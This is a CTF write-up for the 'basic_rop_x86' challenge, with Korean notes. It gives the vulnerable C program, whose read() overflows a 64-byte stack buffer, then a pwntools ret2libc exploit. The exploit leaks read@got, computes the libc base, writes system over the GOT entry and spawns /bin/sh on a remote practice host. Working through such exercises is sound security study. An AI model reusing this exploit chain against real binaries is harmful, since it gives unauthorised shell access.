#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
카나리가 없다. buf 와 ebp 주소 사이 바이트 수만 구하면 될 것 같다.
buf와 ebp 주소 사이 바이트 수
read 함수에서 buf 가 두번째 인자로 들어가고 있다.
read 함수 호출 직전에 esp-4 에 들어있는 값이 무엇인지 확인해보자
esp-4 에는 ebp-0x44 주소가 들어간다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#p = process("./basic_rop_x86")
p = remote("host3.dreamhack.games", 15035)
e = ELF("./basic_rop_x86")
lib = ELF("./libc.so.6")
rop = ROP(e)
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
rop.raw(b"A"*0x48)
rop.write(1, read_got, 4)
rop.read(0, read_got, 12)
rop.call(read_plt, [read_got+4])
payload = rop.chain()
p.send(payload)
p.recvn(0x40)
read_lib = u32(p.recvn(4))
lib_base = read_lib - lib.symbols["read"]
system_lib = lib_base + lib.symbols["system"]
slog("read_lib", read_lib)
slog("lib_base", lib_base)
slog("system_lib", system_lib)
p.send(p32(system_lib) + b"/bin/sh\n")
p.interactive()